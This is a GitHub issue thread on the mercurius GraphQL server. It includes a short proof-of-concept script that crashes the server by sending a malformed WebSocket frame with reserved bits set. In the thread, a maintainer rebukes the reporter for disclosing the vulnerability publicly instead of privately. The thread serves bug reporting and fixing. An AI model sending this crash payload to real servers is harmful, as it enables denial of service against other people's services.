mercurius-js / mercurius

Implement GraphQL servers and gateways with Fastify
https://mercurius.dev/
MIT License
2.34k stars 234 forks source link

Invalid WebSocket frame: RSV2 and RSV3 must be clear #939

Closed marcolanaro closed 1 year ago

marcolanaro commented 1 year ago

It looks like the server crash in specific conditions. This is related to #908. I thought i solved it with https://github.com/fastify/fastify-websocket/pull/228, but that's not completely true.

Before that PR, I was able to crash mercurius with:

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

Now that's happening only specifying the websocket protocol. Given this server index.js:

const Fastify = require('fastify')
const mercurius = require('mercurius')

const schema = `
  type Query {
    add(x: Int, y: Int): Int
  }
`

const resolvers = {
  Query: {
    add: async (_, { x, y }) => x + y
  }
}

async function start() {
    const fastify = Fastify()
    fastify.register(mercurius, {
        schema,
        resolvers,
        subscription: true
    })

    await fastify.listen({ port: 1337 })
}

start();

I can crash it executing this script crash_it.js (see the second parameter of Websocket class):

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql', 'graphql-ws');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});
marcolanaro commented 1 year ago

Last time it was an issue in @fastify/websocket, this time I'm not so sure. For comparison, if I remove mercurius from the equation, I was able to crash a standard fastify websocket server, now I'm not able anymore. Follow an example that was crashing before @fastify/websocket@7.1.1.

crash_it.js:

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:2000', 'graphql-ws');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

index.js:

const Fastify = require('fastify')
const fastifyWebsocket = require('@fastify/websocket')

async function start() {
    const fastify = Fastify()
    await fastify.register(fastifyWebsocket)

    await fastify.listen({ port: 2000 })
}

start();
mcollina commented 1 year ago

This is the second time you disclose a security vulnerability publicly. Please stop and report them privately instead.

marcolanaro commented 1 year ago

I apologise, this is the first time I've been told not to. It will not happen again.

mcollina commented 1 year ago

Most project will have a SECURITY.md file. You should have followed the instructions there:

https://github.com/mercurius-js/mercurius/blob/master/SECURITY.md